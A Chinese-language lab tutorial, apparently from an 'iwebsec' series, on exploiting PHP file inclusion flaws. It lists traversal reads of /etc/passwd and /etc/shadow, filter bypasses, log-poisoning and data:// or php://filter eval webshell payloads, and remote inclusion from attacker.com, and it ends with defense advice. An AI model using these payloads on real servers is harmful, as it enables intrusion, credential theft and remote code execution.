iwebsec文件包含系列
字数 1814 2025-10-29 23:25:25

文件包含漏洞全面解析与实战利用

1. 文件包含漏洞概述

文件包含漏洞是Web应用程序中常见的安全漏洞,主要由于程序开发人员在设计时未对用户输入进行严格过滤,导致攻击者可以包含恶意文件并执行任意代码。

2. 本地文件包含(LFI)

2.1 基本利用

通过文件包含功能查看服务器敏感文件:

?filename=../../../../etc/passwd

2.2 敏感文件路径

常见敏感文件路径:

  • /etc/passwd - 用户账户信息
  • /etc/shadow - 用户密码哈希
  • /var/log/apache2/access.log - Apache访问日志
  • /var/lib/php/session/sess_[sessionid] - PHP会话文件

3. 本地文件包含绕过技术

3.1 常用绕过方法

  1. 路径长度截断:利用系统路径长度限制
  2. 问号绕过?filename=../../etc/passwd?
  3. 点号截断....//....//etc/passwd
  4. #号绕过%23(URL编码)
  5. 空格绕过:在路径末尾添加空格
  6. 00截断%00截断后续字符

3.2 日志文件包含GetShell

利用中间件日志文件包含获取Shell:

  1. 上传恶意代码到日志
User-Agent: <?php @eval($_REQUEST['cmd']);?>
  1. 包含日志文件
?filename=../../../../var/log/apache2/access.log
  1. 使用蚁剑连接
  • URL:包含日志文件的路径
  • 编码器/解码器:选择base64
  • 超时时间:设置为30000ms

4. Session文件包含

4.1 Session文件路径

  • Apache默认路径:/tmp//var/lib/php/session/
  • Session文件名格式:sess_[sessionid]

4.2 利用方法

  1. 通过可控的Session内容写入恶意代码
  2. 利用文件包含漏洞包含带有恶意代码的Session文件
  3. 结合使用多个漏洞点完成攻击链

5. 远程文件包含(RFI)

5.1 利用条件

allow_url_fopen = On    ; 默认开启
allow_url_include = On  ; 默认关闭

5.2 基本利用

?filename=http://attacker.com/shell.txt

5.3 环境搭建

  • 公网环境:使用云服务器托管恶意文件
  • 本地环境:利用本机HTTP服务(如phpstudy)

6. 远程文件包含绕过

6.1 绕过技术

  1. #号绕过%23
  2. 问号绕过:直接使用?或URL编码%3f
  3. 00截断%00

6.2 有效Payload示例

?filename=http://attacker.com/shell.txt?
?filename=http://attacker.com/shell.txt%23
?filename=http://attacker.com/shell.txt%00

7. PHP伪协议利用

7.1 php://filter伪协议

利用条件

  • 存在文件操作函数(include、require等)
  • 参数用户可控且未严格过滤
  • 目标文件路径已知

读取文件内容

?filename=php://filter/convert.base64-encode/resource=config.php
?filename=php://filter/read=convert.base64-encode/resource=config.php

Base64编码的作用

  1. 避免PHP标签被解析执行
  2. 绕过"死亡exit"限制(<?php exit; ?>
  3. 兼容性强,适合网络传输

写入Shell

?filename=php://filter/write=convert.base64-decode/resource=shell.php
&str=PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg==

7.2 php://input伪协议

利用条件

  • PHP版本 ≥ 5.2
  • allow_url_fopen = On
  • allow_url_include = On

直接执行PHP代码

POST /fi/07.php?filename=php://input HTTP/1.1

<?php system('whoami');?>

7.3 file://伪协议

本地文件包含

?filename=file:///var/log/apache2/access.log

利用日志文件GetShell

  1. 将base64编码的Shell写入日志
  2. 使用file://协议包含日志文件
  3. 蚁剑连接时设置超时为30000ms

7.4 data://伪协议

利用条件

  • PHP版本 ≥ 5.2
  • allow_url_fopen = On
  • allow_url_include = On

直接执行代码

?filename=data://text/plain,<?php phpinfo();?>
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

GetShell Payload

?filename=data://text/plain;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg==

8. 实战技巧总结

8.1 信息收集

  • 确定文件包含点位置
  • 识别过滤机制和WAF规则
  • 收集系统路径信息

8.2 漏洞利用流程

  1. 测试基本文件包含功能
  2. 尝试各种绕过技术
  3. 利用伪协议读取敏感信息
  4. 通过日志或Session文件写入Shell
  5. 使用管理工具连接目标服务器

8.3 工具使用要点

  • 蚁剑配置:注意编码器和超时设置
  • Burp Suite:使用Repeater模块测试Payload
  • 编码处理:合理使用base64编码绕过过滤

9. 防御建议

  1. 输入验证:严格过滤用户输入的路径参数
  2. 白名单机制:只允许包含指定的安全文件
  3. 禁用危险函数:关闭不必要的伪协议支持
  4. 权限控制:Web服务器以最小权限运行
  5. 安全配置:合理设置PHP安全参数

10. 注意事项

  • 所有测试应在授权环境下进行
  • 遵守《中华人民共和国网络安全法》
  • 实际操作前充分测试和评估
  • 注意技术内容的时效性,及时更新知识

通过系统学习文件包含漏洞的各种利用技术和防御方法,安全研究人员可以更好地理解和防范此类安全威胁。

文件包含漏洞全面解析与实战利用 1. 文件包含漏洞概述 文件包含漏洞是Web应用程序中常见的安全漏洞,主要由于程序开发人员在设计时未对用户输入进行严格过滤,导致攻击者可以包含恶意文件并执行任意代码。 2. 本地文件包含(LFI) 2.1 基本利用 通过文件包含功能查看服务器敏感文件: 2.2 敏感文件路径 常见敏感文件路径: /etc/passwd - 用户账户信息 /etc/shadow - 用户密码哈希 /var/log/apache2/access.log - Apache访问日志 /var/lib/php/session/sess_[sessionid] - PHP会话文件 3. 本地文件包含绕过技术 3.1 常用绕过方法 路径长度截断 :利用系统路径长度限制 问号绕过 : ?filename=../../etc/passwd? 点号截断 : ....//....//etc/passwd #号绕过 : %23 (URL编码) 空格绕过 :在路径末尾添加空格 00截断 : %00 截断后续字符 3.2 日志文件包含GetShell 利用中间件日志文件包含获取Shell: 上传恶意代码到日志 包含日志文件 使用蚁剑连接 URL:包含日志文件的路径 编码器/解码器:选择base64 超时时间:设置为30000ms 4. Session文件包含 4.1 Session文件路径 Apache默认路径: /tmp/ 或 /var/lib/php/session/ Session文件名格式: sess_[sessionid] 4.2 利用方法 通过可控的Session内容写入恶意代码 利用文件包含漏洞包含带有恶意代码的Session文件 结合使用多个漏洞点完成攻击链 5. 远程文件包含(RFI) 5.1 利用条件 5.2 基本利用 5.3 环境搭建 公网环境 :使用云服务器托管恶意文件 本地环境 :利用本机HTTP服务(如phpstudy) 6. 远程文件包含绕过 6.1 绕过技术 #号绕过 : %23 问号绕过 :直接使用 ? 或URL编码 %3f 00截断 : %00 6.2 有效Payload示例 7. PHP伪协议利用 7.1 php://filter伪协议 利用条件 存在文件操作函数(include、require等) 参数用户可控且未严格过滤 目标文件路径已知 读取文件内容 Base64编码的作用 避免PHP标签被解析执行 绕过"死亡exit"限制( <?php exit; ?> ) 兼容性强,适合网络传输 写入Shell 7.2 php://input伪协议 利用条件 PHP版本 ≥ 5.2 allow_url_fopen = On allow_url_include = On 直接执行PHP代码 7.3 file://伪协议 本地文件包含 利用日志文件GetShell 将base64编码的Shell写入日志 使用file://协议包含日志文件 蚁剑连接时设置超时为30000ms 7.4 data://伪协议 利用条件 PHP版本 ≥ 5.2 allow_url_fopen = On allow_url_include = On 直接执行代码 GetShell Payload 8. 实战技巧总结 8.1 信息收集 确定文件包含点位置 识别过滤机制和WAF规则 收集系统路径信息 8.2 漏洞利用流程 测试基本文件包含功能 尝试各种绕过技术 利用伪协议读取敏感信息 通过日志或Session文件写入Shell 使用管理工具连接目标服务器 8.3 工具使用要点 蚁剑配置 :注意编码器和超时设置 Burp Suite :使用Repeater模块测试Payload 编码处理 :合理使用base64编码绕过过滤 9. 防御建议 输入验证 :严格过滤用户输入的路径参数 白名单机制 :只允许包含指定的安全文件 禁用危险函数 :关闭不必要的伪协议支持 权限控制 :Web服务器以最小权限运行 安全配置 :合理设置PHP安全参数 10. 注意事项 所有测试应在授权环境下进行 遵守《中华人民共和国网络安全法》 实际操作前充分测试和评估 注意技术内容的时效性,及时更新知识 通过系统学习文件包含漏洞的各种利用技术和防御方法,安全研究人员可以更好地理解和防范此类安全威胁。